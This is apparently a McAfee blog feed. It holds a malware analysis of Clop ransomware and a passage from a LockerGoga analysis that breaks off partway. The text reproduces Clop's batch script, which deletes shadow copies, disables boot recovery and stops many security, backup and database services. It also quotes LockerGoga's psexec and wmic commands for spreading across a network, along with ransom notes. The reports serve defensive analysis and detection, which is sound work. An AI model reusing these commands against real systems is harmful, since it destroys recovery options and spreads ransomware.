This sample was discovered by MalwareHunterTeam ( on the 26 February, 2019.

We discovered the following Clop ransomware samples which were signed with a certificate:

This malware is prepared to avoid running under certain conditions, for example in the first version it requests to be installed as a service; if that will not succeed, it will terminate itself.

The malware’s first action is to compare the keyboard of the victim computer using the function “GetKeyboardLayout”  against the hardcoded values.

This function returns the user keyboard input layout at the moment the malware calls the function.

The malware checks that the layout is bigger than the value 0x0437 (Georgian), makes some calculations with the Russian language (0x0419) and with the Azerbaijan language (0x082C). This function will return 1 or 0, 1 if it belongs to Russia or another CIS country, or 0 in every other case.

FIGURE 3. Checking the keyboard layout

If the function returns 0, it will go to the normal flow of the malware, otherwise it will get the device context of the entire screen with the function “GetDC”. Another condition will come from the function “GetTextCharset” that returns the font used in the system if it does not have the value 0xCC (RUSSIAN_CHARSET). If it is the charset used, the malware will delete itself from the disk and terminate itself with “TerminateProcess” but if it is not this charset, it will continue in the normal flow This double check circumvents users with a multisystem language, i.e. they have the Russian language installed but not active in the machine to avoid this type of malware.

FIGURE 4. Check the text charset and compare with Russian charset

The code that is supposed to delete the ransomware from the disk contains an error. It will call directly to the prompt of the system without waiting for the malware to finish.  This means that the execution of the command will be correct but, as the malware is still running, it will not delete it from the disk. This happens because the author did not use a “timeout” command.

FIGURE 5. Deletion of the malware itself

The next action of the malware is to create a new thread that will start all processes. With the handle of this thread, it will wait for an infinite amount of time to finish with the “WaitForSingleObject” function and later return to the winMain function and exit.

This thread’s first action is to create a file called “Favorite” in the same folder as the malware. Later, it will check the last error with “GetLastError” and, if the last error was 0,  it will wait with the function “Sleep” for 5 seconds.

Later the thread will make a dummy call to the function “EraseTape” with a handle of 0, perhaps to disturb the emulators because the handle is put at 0 in a hardcoded opcode, and later a call to the function “DefineDosDeviceA” with an invalid name that returns another error. These operations will make a loop for 666000 times.

FIGURE 6. Loop to disturb the analysis

The next action is to search for some processes with these names:

  • SBAMTray.exe (Vipre antivirus product)
  • SBPIMSvc.exe (Sunbelt AntiMalware antivirus product)
  • SBAMSvc.exe (GFI AntiMalware antivirus product)
  • VipreAAPSvc.exe (Vipre antivirus product)
  • WRSA.exe (WebRoot antivirus product)

If some of these processes are discovered, the malware will wait 5 seconds using “Sleep” and later another 5 seconds. After those “sleep”, the malware will continue with their normal flow. If these processes are not detected, it will access to their own resources and extract it with the name “OFFNESTOP1”. That resource is encrypted but has inside a “.bat” file.

FIGURE 7. Access to the first resource crypted

The decryption is a simple XOR operation with bytes from this string:


The next action is to write this batch file in the same folder where the malware stays with the function “CreateFileA”.  The file created has the name “clearsystems-11-11.bat”. Later will launch it with “ShellExecuteA”, wait for 5 seconds to finish and delete the file with the function “DeleteFileA”.

It is clear that the authors are not experienced programmers because they are using a .bat file for the next actions:

  • Delete the shadow volumes with vssadmin (“vssadmin Delete Shadows /all /quiet”).
  • Resize the shadow storage for all units starting from C to H units’ letters (hardcoded letters) to avoid the shadow volumes being made again.
  • Using bcedit program to disable the recovery options in the boot of the machine and set to ignore any failure in the boot warning the user.

All these actions could have been performed in the malware code itself, without the need of an external file that can be detected and removed.

FIGURE 8. The BAT file to disable the shadow volumes and more security

The next action is to create a mutex with the name hardcoded “Fany—Fany—6-6-6” and later make a call to the function “WaitForSingleObject” and check the result with 0.  If the value is 0 it means that the mutex was created for this instance of the malware but if it gets another value, it means that the mutex was made from another instance or vaccine and, in this case, it will finish the execution of the malware.

After this, it will make 2 threads, one of them to search for processes and the another one to crypt files in the network shares that it has access to.

The first thread enumerates all processes of the system and creates the name of the process in upper case and calculates a hash with the name and compares it with a big list of hashes. This hash algorithm is a custom algorithm. It is typical in malware that tries to hide what processes they are looking for. If it finds one of them it will terminate it with “TerminateProcess” function after opening with the rights to make this action with “OpenProcess” function.

The malware contains 61 hard-coded hashes of programs such as “STEAM.EXE”, database programs, office programs and others.

Below, the first 38 hashes with the associated process names. These 38 processes are the most usual processes to close as we have observed with other ransomwares families such as GandCrab, Cerber, etc.

This thread runs in an infinite loop with a wait using the function “Sleep” per iteration of 30 minutes.

FIGURE 9. Thread to kill critical processes to unlock files

The second thread created has the task of enumerating all network shares and crypts files in them if the malware has access to them.

For executing this task, it uses the typical API functions of the module “MPR.DLL”:

  • WNetOpenEnumW
  • WNetEnumResourceW
  • WNetCloseEnum

This thread starts creating a reserve of memory with “GlobalAlloc” function to keep the information of the “MPR” functions.

For each network share that the malware discovers, it will prepare to enumerate more shares and crypt files.

For each folder discovered, it will enter it and search for more subfolders and files. The first step is to check the name of the folder/file found against a hardcoded list of hashes with the same algorithm used to detect the processes to close.

Below are the results of 12 of the 27 hashes with the correct names:

If it passes, it will check that the file is not a folder, and in this case compare the name with a list of hardcoded names and extensions that are in plain text rather than in hash format:

  • ClopReadMe.txt
  • ntldr
  • boot.ini
  • ntuser.ini
  • autoexec.bat
  • .Clop
  • .dll
  • .DLL
  • .exe
  • .EXE
  • .sys
  • .SYS
  • .ocx
  • .OCX
  • .LNK
  • .lnk
  • desktop.ini
  • autorun.inf
  • ntuser.dat
  • iconcache.db
  • bootsect.bak
  • ntuser.dat.log
  • thumbs.db

This check is done with a custom function that checks character per character against all the list. It is the reason for having the same names in both upper and lower case, instead of using the function “lstrcmpiA,” for example, to avoid some hook in this function preventing the file from being affected. The check of the extension at the same time is to make the process of crypto quicker. Of course, the malware checks that the file does not have the name of the ransom note and the extension that it will put in the crypted file. Those blacklisted extensions will help the system avoid crashing during the encryption compared with other ransomware families.

FIGURE 10. Check of file names and extensions

This behavior is normal in ransomware but the previous check against hardcoded hashes based on the file/folder name is weird because later, as we can see in the above picture, the next check is against plain text strings.

If it passes this check, the malware will make a new thread with a struct prepared with a hardcoded key block, the name of the file, and the path where the file exists. In this thread the first action is to remove the error mode with “SetErrorMode” to 1 to avoid an error dialog being shown to the user if it crashes. Later, it will prepare the path to the file from the struct passed as argument to the thread and change the attributes of the file to ARCHIVE with the function “SetFileAttributesW”, however the malware does not check if it can make this action with success or not.

Later it will generate a random AES key and crypt each byte of the file with this key, next it will put the mark “Clop^_” at the end of the file, after the mark it will put the key used to crypt the file ciphered with the master RSA key that has hardcoded the malware to protect it against third party free decryptors.

The malware can use 2 different public RSA keys: one exported using the crypto api in a public blob or using the embedded in base64 in the malware. The malware will only use the second one if it cannot create the crypto context or has some problem with the crypto api functions.

The malware does not have support for Windows XP in its use with the crypto functions, because the CSP used in Windows XP has another name, but if run in another operating system starting with Windows Vista, it can change the name in the debugger to acquire the context later and will generate a RSA public blob.

Another difference with other ransomware families is that Clop will only cipher the disk that is a physical attached/embedded disk (type 3, FIXED or removable (type 2)). The malware ignores the REMOTE type (4)).

Anyways, the shares can be affected using the “MPR.DLL” functions without any problem.

FIGURE 11. Filemark in the crypted file and key used ciphered

After encrypting, the file will try to open in the same folder the ransom note and, if it exists, it will continue without overwriting it to save time, but if the ransom note does not exist it will access one resource in the malware called “OFFNESTOP”. This resource is crypted with the same XOR operation as the first resource: the .bat file, after decrypting, will write the ransom note in the folder of the file.

FIGURE 12. Creation of the ransom note from a crypted resource

Here is a sample of the ransom note of the first version of this malware:

FIGURE 13. Example of ransom note of the first version of the malware

After this, Clop will continue with the next file with the same process however, the check of the name based with the hash is avoided now.

Second Version of the Malware

The second version found by the end of February has some changes if it is compared with the first one. The hash of this version is: “ed7db8c2256b2d5f36b3d9c349a6ed0b”.

The first change is some changes in the strings in plain text of the code to make the execution in the “EraseTape” call and “FindAtomW” call more slowly. Now the names are for the tape: “” and the atom “”.

The second change is the name of the resources crypted in the binary, the first resource that is a second batch file to delete the shadow volumes and remove the protections in the boot of the machine as the previous one has another name: “RC_HTML1”.

FIGURE 14. New resource name for the batch file

However, the algorithm to decrypt this resource is the same, except that they changed the big string that acts as a key for the bytes. Now the string is: “JLKHFVIjewhyur3ikjfldskfkl23j3iuhdnfklqhrjjio2ljkeosfjh7823763647823hrfuweg56t7r6t73824y78Clop”. It is important to remember that this string remains in plain text in the binary but, as it has changed, it cannot be used for a Yara rule. The same counts for the name of the resources and also for the hash of the resource because the bat changes per line in some cases and in another as it will have more code to stop services of products of security and databases.

The contents of the new BAT file are:

@echo off

vssadmin Delete Shadows /all /quiet

vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB

vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded

vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB

vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded

vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB

vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded

vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB

vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded

vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB

vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded

vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB

vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded

bcdedit /set {default} recoveryenabled No

bcdedit /set {default} bootstatuspolicy ignoreallfailures

vssadmin Delete Shadows /all /quiet

net stop SQLAgent$SYSTEM_BGC /y

net stop “Sophos Device Control Service” /y

net stop macmnsvc /y

net stop SQLAgent$ECWDB2 /y

net stop “Zoolz 2 Service” /y

net stop McTaskManager /y

net stop “Sophos AutoUpdate Service” /y

net stop “Sophos System Protection Service” /y

net stop EraserSvc11710 /y

net stop PDVFSService /y


net stop SAVService /y

net stop MSSQLFDLauncher$TPSAMA /y

net stop EPSecurityService /y

net stop SQLAgent$SOPHOS /y

net stop “Symantec System Recovery” /y

net stop Antivirus /y

net stop SstpSvc /y

net stop MSOLAP$SQL_2008 /y

net stop TrueKeyServiceHelper /y

net stop sacsvr /y

net stop VeeamNFSSvc /y

net stop FA_Scheduler /y

net stop SAVAdminService /y

net stop EPUpdateService /y

net stop VeeamTransportSvc /y

net stop “Sophos Health Service” /y

net stop bedbg /y

net stop MSSQLSERVER /y

net stop KAVFS /y

net stop Smcinst /y

net stop MSSQLServerADHelper100 /y

net stop TmCCSF /y

net stop wbengine /y

net stop SQLWriter /y

net stop MSSQLFDLauncher$TPS /y

net stop SmcService /y

net stop ReportServer$TPSAMA /y

net stop swi_update /y

net stop AcrSch2Svc /y

net stop MSSQL$SYSTEM_BGC /y

net stop VeeamBrokerSvc /y


net stop VeeamDeploymentService /y

net stop SQLAgent$TPS /y

net stop DCAgent /y

net stop “Sophos Message Router” /y


net stop wbengine /y

net stop MySQL80 /y


net stop ReportServer$TPS /y

net stop MSSQL$ECWDB2 /y

net stop SntpService /y


net stop BackupExecManagementService /y

net stop SMTPSvc /y

net stop mfefire /y

net stop BackupExecRPCService /y

net stop MSSQL$VEEAMSQL2008R2 /y

net stop klnagent /y

net stop MSExchangeSA /y

net stop MSSQLServerADHelper /y

net stop SQLTELEMETRY /y

net stop “Sophos Clean Service” /y

net stop swi_update_64 /y

net stop “Sophos Web Control Service” /y

net stop EhttpSrv /y

net stop POP3Svc /y

net stop MSOLAP$TPSAMA /y

net stop McAfeeEngineService /y

net stop “Veeam Backup Catalog Data Service” /


net stop ReportServer$SYSTEM_BGC /y

net stop AcronisAgent /y

net stop KAVFSGT /y

net stop BackupExecDeviceMediaService /y

net stop MySQL57 /y

net stop McAfeeFrameworkMcAfeeFramework /y

net stop TrueKey /y

net stop VeeamMountSvc /y

net stop MsDtsServer110 /y

net stop SQLAgent$BKUPEXEC /y

net stop UI0Detect /y

net stop ReportServer /y


net stop MSSQLFDLauncher$SYSTEM_BGC /y

net stop MSSQL$BKUPEXEC /y

net stop SQLAgent$PRACTTICEBGC /y

net stop MSExchangeSRS /y

net stop SQLAgent$VEEAMSQL2008R2 /y

net stop McShield /y

net stop SepMasterService /y

net stop “Sophos MCS Client” /y

net stop VeeamCatalogSvc /y

net stop SQLAgent$SHAREPOINT /y

net stop NetMsmqActivator /y

net stop kavfsslp /y

net stop tmlisten /y

net stop ShMonitor /y

net stop MsDtsServer /y

net stop SQLAgent$SQL_2008 /y

net stop SDRSVC /y

net stop IISAdmin /y

net stop SQLAgent$PRACTTICEMGT /y

net stop BackupExecJobEngine /y

net stop SQLAgent$VEEAMSQL2008R2 /y

net stop BackupExecAgentBrowser /y

net stop VeeamHvIntegrationSvc /y

net stop masvc /y

net stop W3Svc /y

net stop “SQLsafe Backup Service” /y

net stop SQLAgent$CXDB /y

net stop SQLBrowser /y

net stop MSSQLFDLauncher$SQL_2008 /y

net stop VeeamBackupSvc /y

net stop “Sophos Safestore Service” /y

net stop svcGenericHost /y

net stop ntrtscan /y

net stop SQLAgent$VEEAMSQL2012 /y

net stop MSExchangeMGMT /y

net stop SamSs /y

net stop MSExchangeES /y

net stop MBAMService /y

net stop EsgShKernel /y

net stop ESHASRV /y

net stop MSSQL$TPSAMA /y


net stop VeeamCloudSvc /y

net stop “Sophos File Scanner Service” /y

net stop “Sophos Agent” /y

net stop MBEndpointAgent /y

net stop swi_service /y


net stop SQLAgent$TPSAMA /y

net stop McAfeeFramework /y

net stop “Enterprise Client Service” /y

net stop SQLAgent$SBSMONITORING /y

net stop MSSQL$VEEAMSQL2012 /y

net stop swi_filter /y

net stop SQLSafeOLRService /y

net stop BackupExecVSSProvider /y

net stop VeeamEnterpriseManagerSvc /y

net stop SQLAgent$SQLEXPRESS /y

net stop OracleClientCache80 /y


net stop IMAP4Svc /y

net stop ARSM /y

net stop MSExchangeIS /y

net stop AVP /y

net stop MSSQLFDLauncher /y

net stop MSExchangeMTA /y

net stop TrueKeyScheduler /y

net stop MSSQL$SOPHOS /y

net stop “SQL Backups” /y

net stop MSSQL$TPS /y

net stop mfemms /y

net stop MsDtsServer100 /y


net stop WRSVC /y

net stop mfevtp /y

net stop msftesql$PROD /y

net stop mozyprobackup /y

net stop MSSQL$SQL_2008 /y

net stop SNAC /y

net stop ReportServer$SQL_2008 /y

net stop BackupExecAgentAccelerator /y



net stop VeeamRESTSvc /y

net stop sophossps /y

net stop ekrn /y

net stop MMS /y

net stop “Sophos MCS Agent” /y

net stop RESvc /y

net stop “Acronis VSS Provider” /y

net stop MSSQL$VEEAMSQL2008R2 /y

net stop MSSQLFDLauncher$SHAREPOINT /y

net stop “SQLsafe Filter Service” /y

net stop MSSQL$PROD /y

net stop SQLAgent$PROD /y

net stop MSOLAP$TPS /y

net stop VeeamDeploySvc /y

net stop MSSQLServerOLAPService /y

The next change is the mutex name. In this version it is “HappyLife^_-“, so, can it be complex to make a vaccine based on the mutex name because it can be changed easily in each new sample.

The next change is the hardcoded public key of the malware that is different to the previous version.

Another change is the file created; the first version creates the file with the name “Favourite” but this version creates this file with the name “Comone”.

However, the algorithm of crypto of the files and the mark in the file crypted is the same.

Another difference is in the ransom note that is now clearer with some changes in the text and now has 3 emails instead of one to contact the ransomware developers.

FIGURE 15.Example of the new ransom note

Other Samples of the Malware

Clop is a ransomware family that its authors or affiliates can change in a quick way to make it more complex to track the samples. The code largely remains the same but changing the strings can make it more difficult to detect and/or classify it correctly.

Now we will talk about the changes of some samples to see how prolific the ransomware Clop is.

Sample 0403db9fcb37bd8ceec0afd6c3754314 has a compile date of 12 February, 2019 and has the following changes if compared with other samples:

  • The file created has the name “you_offer.txt”.
  • The name of the device in the fake call to “EraseTape” and “DefineDosDeviceA” functions is “..1”.
  • An atom searched for nothing has the name of “$$$$”.
  • The mutex name is “MoneyP#666”.
  • The resources crypted with the ransom note and the bat file are called “SIXSIX1” for the batch file and the another one for the ransom note “SIXSIX”.
  • The name of the batch file is “clearsystems-10-1.bat”.
  • The key for the XOR operation to decrypt the ransom note and the batch file is:


  • The batch file is different to the other versions, in this case not changing the boot config of the target victim.

FIGURE 16. Another version of the batch file

  • The email addresses to contact are: and .
  • As a curiosity, this ransom note has a line that another does not have: “Every day of delay will cost you additional +0.5 BTC” (about 1500-1700 $).

The 3ea56f82b66b26dc66ee5382d2b6f05d sample has the following points of difference:

  • The name of the file created is “popup.txt”.
  • The DefineDosDeviceA name is “1234567890”
  • The mutex is “CLOP#666”.
  • The date of compiled this sample is 7 of February.
  • The name of the bat file is “resort0-0-0-1-1-0-bat”.
  • This sample does not have support for Windows XP because a API that does not exist in Windows XP.
  • The Atom string is “27”.

Sample 846f93fcb65c9e01d99b867fea384edc , has these differences:

  • The name of the file created is “HotGIrls”.
  • The DosDevice name is “GVSDFDS”.
  • Atom name: KLHJGWSEUiokgvs.
  • Batch file name “clearnetworksdns-11-22-33.bat”.
  • The email address to contact:, and
  • The ransom note does not have the previous string of increasing the price, but the maximum number of files that can be decrypted is 7 instead of 6..

As the reader can understand, Clop changes very quickly in strings and name of resources to make it more complex to detect the malware.

We also observed that the .BAT files were not present in earlier Clop ransomware versions.

Global Spread

Based on the versions of Clop we discovered we detected telemetry hits in the following countries:

  • Switzerland
  • Great Britain
  • Belgium
  • United States
  • The Netherlands
  • Croatia
  • Porto Rico
  • Germany
  • Turkey
  • Russia
  • Denmark
  • Mexico
  • Canada
  • Dominican Republic


The function to check a file or a folder name using the custom hash algorithm can be a problem for the malware execution due if one of them is found in execution, the malware will avoid it. If this happens with a folder, all the files inside that folder will be skipped as well.

As the algorithm and the hash is based on 32bits and only in upper case characters, it is very easy to create a collision as we know the target hashes and the algorithm

It cannot be used as vaccine on itself, but it can be useful to protect against the malware if the most critical files are inside of a collision folder name.

FIGURE 17. Collision of hashes

In the screenshot “BOOT” is a correct name for the hash, but the others are collisions.

This malware has a lot of changes per version that avoid making a normal vaccine using mutex, etc.

The Odd One in the Family

That not all ransomware is created equally, especially goes for Clop. Earlier in this blog we have highlighted some interesting choices the developers made when it came to detecting language settings, processes and the use of batch files to delete the shadow volume copies. We found in the analysis some unique functions compared with other ransomware families.

However, Clop does embrace some of the procedures we have seen with other ransomware families by not listing the ransom amount or mentioning a bitcoin address.

Victims must communicate via email instead of with a central command and control server hosting decryption keys. In the newer versions of Clop, victims are required to state their company name and site in the email communications. We are not absolutely sure why this is, but it might be an effort to improve victim tracking.

Looking at the Clop ransom note, it shares TTPs with other ransomware families; e.g. it mimics the Ryuk ransomware and contains similarities with BitPaymer, however the code and functions are quite different between them.


Customers of McAfee gateway and endpoint products are protected against this version.

  • GenericRXHA-RK!3FE02FDD2439
  • GenericRXHA-RK!160FD326A825
  • Trojan-Ransom
  • Ransom-Clop!73FBFBB0FB34
  • Ransom-Clop!0403DB9FCB37
  • Ransom-Clop!227A9F493134
  • Ransom-Clop!A93B3DAA9460
  • GenericRXHA-RK!35792C550176
  • GenericRXHA-RK!738314AA6E07
  • RDN/Generic.dx
  • bub
  • BAT/Ransom-Clob
  • BAT/Ransom-Blob

McAfee ENS customers can create expert rules to prevent batch command execution by the ransomware. A few examples are given below for reference.

The following expert rule can be used to prevent the malware from deleting the shadow volumes with vssadmin (“vssadmin Delete Shadows /all /quiet”).

When the expert rule is applied at the endpoint, deletion of shadow volume fails with the following error message:

The malware also tries to stop McAfee services using command “net stop McShield /y”. The following expert rule can be used to prevent the malware from stopping McAfee Services:

When the expert rule is applied at the endpoint, the attempt to stop McAfee service using net command fails with the following error message:

Indicators of Compromise

The samples use the following MITRE ATT&CK™ techniques:

  • Execution through API (Batch file for example).
  • Application processes discovery with some procedures as the hashes of the name, and directly for the name of the process.
  • File and directory discovery: to search files to encrypt.
  • Encrypt files.
  • Process discovery: enumerating all processes on the endpoint to kill some special ones.
  • Create files.
  • Create mutants.


Clop ransomware shows some characteristics that enterprises are its intended targets instead of end consumers. The authors displayed some creative technical solutions, to detect the victim’s language settings and installed programs. On the other hand, we also noticed some weird decisions when it came to coding certain functionalities in the ransomware. Unfortunately, it is not the first time that criminals will make money with badly programmed malware.

Clop is constantly evolving and even though we do not know what new changes will be implemented in the future, McAfee ATR will keep a close watch.


  • 9d59ee5fc7898493b855b0673d11c886882c5c1d
  • f4492b2df9176514a41067140749a54a1cfc3c49
  • 2950a3fcdd4e52e2b9469a33eee1012ef58e72b6
  • 37a62c93ba0971ed7f77f5842d8c9b8a4475866c
  • a71c9c0ca01a163ea6c0b1544d0833b57a0adcb4
  • 21bdec0a974ae0f811e056ce8c7e237fd7c220c1
  • 0a7ab8cc60b04e66be11eb41672991482b9c0656
  • ec2a3e9e9e472488b7540227448c1794ee7a5be6
  • e473e5b82ce65cb58fde4956ae529453eb0ec24f
  • 3c8e60ce5ff0cb21be39d1176d1056f9ef9438fa
  • d613f01ed5cb636feeb5d6b6843cb1686b7b7980
  • c41749901740d032b8cff0e397f6c3e26d05df76
  • e38bca5d39d1cfbfbcac23949700fe24a6aa5d89
  • 09b4c74c0cf18533c8c5022e059b4ce289066830
  • 37269b8d4115f0bdef96483b1de4593b95119b93
  • 4d885d757d00e8abf8c4993bc49886d12c250c44
  • bc59ff12f71e9c8234c5e335d48f308207f6accfad3e953f447e7de1504e57af
  • 31829479fa5b094ca3cfd0222e61295fff4821b778e5a7bd228b0c31f8a3cc44
  • 35b0b54d13f50571239732421818c682fbe83075a4a961b20a7570610348aecc
  • e48900dc697582db4655569bb844602ced3ad2b10b507223912048f1f3039ac6
  • 00e815ade8f3ad89a7726da8edd168df13f96ccb6c3daaf995aa9428bfb9ecf1
  • 408af0af7419f67d396f754f01d4757ea89355ad19f71942f8d44c0d5515eec8
  • 0d19f60423cb2128555e831dc340152f9588c99f3e47d64f0bb4206a6213d579
  • 7ada1228c791de703e2a51b1498bc955f14433f65d33342753fdb81bb35e5886
  • 8e1bbe4cedeb7c334fe780ab3fb589fe30ed976153618ac3402a5edff1b17d64
  • d0cde86d47219e9c56b717f55dcdb01b0566344c13aa671613598cab427345b9
  • cff818453138dcd8238f87b33a84e1bc1d560dea80c8d2412e1eb3f7242b27da
  • 929b7bf174638ff8cb158f4e00bc41ed69f1d2afd41ea3c9ee3b0c7dacdfa238
  • 102010727c6fbcd9da02d04ede1a8521ba2355d32da849226e96ef052c080b56
  • 7e91ff12d3f26982473c38a3ae99bfaf0b2966e85046ebed09709b6af797ef66
  • e19d8919f4cb6c1ef8c7f3929d41e8a1a780132cb10f8b80698c8498028d16eb
  • 3ee9b22827cb259f3d69ab974c632cefde71c61b4a9505cec06823076a2f898e
  • b207ce32398e8816ed44ea079904dc36
  • 73efd5dc218db4d8c36546d9c9efe91c
  • 36fe53674c67310af572daedf6e8deed
  • 96caf3bcd58d41d23d1a4e27f2165ae3
  • 7c90d8aed3efb9f8c661b1ab0a6f5986

The post Clop Ransomware appeared first on McAfee Blogs.

]]> 0
LockerGoga Ransomware Family Used in Targeted Attacks Mon, 29 Apr 2019 17:10:06 +0000

Initial discovery Once again, we have seen a significant new ransomware family in the news. LockerGoga, which adds new features to the tried and true formula of encrypting victims’ files and asking for payment to decrypt them, has gained notoriety for the targets it has affected. In this blog, we will look at the findings […]

The post LockerGoga Ransomware Family Used in Targeted Attacks appeared first on McAfee Blogs.


Initial discovery

Once again, we have seen a significant new ransomware family in the news. LockerGoga, which adds new features to the tried and true formula of encrypting victims’ files and asking for payment to decrypt them, has gained notoriety for the targets it has affected.

In this blog, we will look at the findings of the McAfee ATR team following analysis of several different samples. We will describe how this new ransomware works and detail how enterprises can protect themselves from this threat.

Technical analysis

LockerGoga is a ransomware that exhibits some interesting behaviors we want to highlight. Based on our research, and compared with other families, it has a few unique functions and capabilities that are rare compared to other ransomware families that have similar objectives and/or targeted sectors in their campaigns.

In order to uncover its capabilities, we analyzed all the samples we found, discovering similarities between them, as well as how the development lifecycle adds or modifies different features in the code to evolve the ransomware in a more professional tool used by the group behind it.

One of the main differences between LockerGoga and other ransomware families is the ability to spawn different processes in order to accelerate the file encryption in the system:

Like other types of malware, LockerGoga will use all the available CPU resources in the system, as we discovered on our machines:

Most of the LockerGoga samples work the same way but we observed how they added and removed certain types of functionality during their development lifecycle.

The ransomware needs be executed from a privileged account.

LockerGoga works in a master/slave configuration. The malware begins its infection on an endpoint by installing a copy of itself on the %TEMP% folder.

After being copied, it will start a new process with the -m parameter.

The master process runs with the -m parameter and is responsible for creating the list of files to encrypt and spawning the slaves.

The slave processes will be executed with a different set of parameters as shown below. Each slave process will encrypt only a small number of files, to avoid heuristic detections available in endpoint security products. The list of files to encrypt is taken from the master process via IPC, an interface used to share data between applications in Microsoft Windows. The communication is done through IPC using a mapped section named SM-<name of binary>.

Here is the IPC technique used by LockerGoga:

  • The master process (run as <LockerGogaBinary> -m) creates a named section on the system for IPC.
  • The section is named “SM-tgytutrc”.
  • The master ransomware process posts the filepath of the file to be encrypted to the named section “SM-tgytutrc”.
  • This section is used by the slave processes to pick up the filepath and encrypt the target file.

Sandbox replication of master process screenshot below showing:

  • Creation of the named section.
  • Subsequent creation of slave processes to encrypt target files on the endpoint.

Sandbox replication of slave process (encryption process) below showing:

  • Obtaining access to the section created by the master process.
  • Reading and encryption of a target file found based on the filepath specified in the named section.

The ransomware creates multiple slave processes on the endpoint to encrypt files. Some analysts believe this is the case simply because it speeds up the encryption process, but we are not convinced as the same outcome can be achieved via a multi-threaded approach in the ransomware process instead of a multi-process approach.

Instead, we suspect this approach is adopted for the following reasons:

  • Footprint: If every encryption process encrypts only a small number of files on the endpoint and terminates, then the overall footprint of the attack on the system decreases since it may be difficult to co-relate multiple encryption processes to the same threat.
  • Sandbox Bypass: Some sandbox-based detection systems monitor the threshold of the number of files written on the system and may co-relate it to the file extensions being written to. E.g. If a process reads, say, 200 files on the sandbox but only creates files with one specific extension (typical of ransomware – Extn “.locked” in the case of LockerGoga) then this can be considered anomalous behavior. LockerGoga may be able to bypass such detection techniques.
  • File I/O based detection bypass: A multi-process-based approach makes sure that the amount of I/O (File/Disk I/O etc.) for each encryption process is within a certain limit, thus bypassing detection techniques that monitor exorbitant I/O based detection.
  • Reliability: Even if one encryption process is manually terminated by an end-user, as long as the master ransomware process is running the files will continue to be encrypted by new slave processes. If the ransomware process does not use the multi-process approach, then terminating the ransomware process stops the encryption on the endpoint.

Username Administrator:

Username Tinba:

The author implemented a logging function that can be enabled if you callout the sample in execution using the parameter “-l” to store all the results in a file called ‘log.txt’ in the root C drive:

During execution we enabled the log function and saw how the ransomware encrypts the system, causing high CPU usage and opening the ransom note during the process. This is the aspect in an infected system:

As we executed the sample with the log function, we could access this file to check the status of the encryption. Obviously, this most likely a debug function used by the developer.

In order to know how the ransomware works, and with the help of the log function enabled, we could establish the order of LockerGoga to encrypt the system:

  • Log file creation in the C: drive
  • Folder and file enumeration
  • File encryption & ransom note creation in the desktop folder.

One interesting thing to mention is that, before encrypting any file in the system, the malware will search for files in the trashcan folder as the first option. We are not certain why it takes this unusual step, though it could be because many people do not empty their recycle bins and the ransomware is looking to encrypt even those files that may no longer be required:

LockerGoga will start to enumerate all the folders and files in the system to start the encryption process. This enumeration is done in parallel, so we can expect the process wouldn’t take much time.

After the enumeration the ransomware will create the ransom note for the victim:

The ransom note was created in parallel with the encrypted files, and it is hardcoded inside the sample:

Like other ransomware families, LockerGoga will create the ransom note file to ask the user to pay to recover their encrypted files. We highly recommend not paying under any circumstance so as not to continue funding an underground business model. In case of a ransomware infection, please check

Below is an example of the ransom note content on an infected machine:


There was a significant flaw in the security system of your company.

You should be thankful that the flaw was exploited by serious people and not some rookies.

They would have damaged all of your data by mistake or for fun.


Your files are encrypted with the strongest military algorithms RSA4096 and AES-256.

Without our special decoder it is impossible to restore the data.

Attempts to restore your data with third party software as Photorec, RannohDecryptor etc.

will lead to irreversible destruction of your data.


To confirm our honest intentions.

Send us 2-3 different random files and you will get them decrypted.

It can be from different computers on your network to be sure that our decoder decrypts everything.

Sample files we unlock for free (files should not be related to any kind of backups).


We exclusively have decryption software for your situation


DO NOT RESET OR SHUTDOWN – files may be damaged.

DO NOT RENAME the encrypted files.

DO NOT MOVE the encrypted files.

This may lead to the impossibility of recovery of the certain files.


The payment has to be made in Bitcoins.

The final price depends on how fast you contact us.

As soon as we receive the payment you will get the decryption tool and

instructions on how to improve your systems security


To get information on the price of the decoder contact us at:

In parallel of the ransom note creation, the files will start to be encrypted by LockerGoga with the .locked extension appended to all files. This extension has been broadly used by other ransomware families in the past:

LockerGoga has embedded in the code the file extensions that it will encrypt. Below is an example:

The sample has also configured some locations and files that will be skipped in the encryption process so as not to disrupt the Operating System from running.

All the files encrypted by this ransomware will have a specific FileMarker inside:

Note: The FileMarker identifies the ransomware family and the most likely version; in this case it is 1440.

During the investigation we identified the following versions:

  • 1200
  • 1510
  • 1440
  • 1320

Based on the binary compile time and the extracted versions, we observed that the actors were creating different versions of LockerGoga for different targets/campaigns.

After encrypting, LockerGoga executes ‘cipher.exe’ to remove the free space to prevent file recovery in the infected system. When files are deleted on a system, sometimes they are still available in the free space of a hard disk and can theoretically be recovered.

Samples digitally signed:

During our triage phase we found that some of the LockerGoga samples are digitally signed. We are observing from ATR that the latest ransomware pieces used a lower scale and more focused are released digitally signed:


Digitally signing the malware could help the attackers to bypass some of the security protections in the system.

As part of the infection process, LockerGoga will create a static mutex value in the system, always following the same format:


Examples of mutex found:




Interesting strings found

In our analysis we extracted more strings from the LockerGoga samples, with interesting references to:

  • LockerGoga
  • crypto-locker
  • goga












The malware developers usually forget to remove those strings in their samples and we can use them to identify new families or frameworks used in their development.

Spreading methods:

The malware is known to be spread in the local network through remote file copy. To do that, a set of .batch files are copied to the remote machines TEMP folder using simple copy:

  • copy xax.bat \\\c$\windows\temp

The malware will copy itself and the tool PSEXEC.EXE to the same location. Once all the files are copied, the malware will run the .BAT file using the following command:

  • start psexec.exe \\ -u domain\user -p “pass” -d -h -r mstdc -s accepteula -nobanner c:\windows\temp\xax.bat

Each of these .BAT files contain lines to execute the malware on remote machines. They use the following command:

  • start wmic /node:”″ /user:”domain\user” /password:”pass” process call create “cmd /c c:\windows\temp\kill.bat”

The batch file above attempts to kill several AV products and disable security tools. At the end of the script, the malware copy on the remote machine is executed from


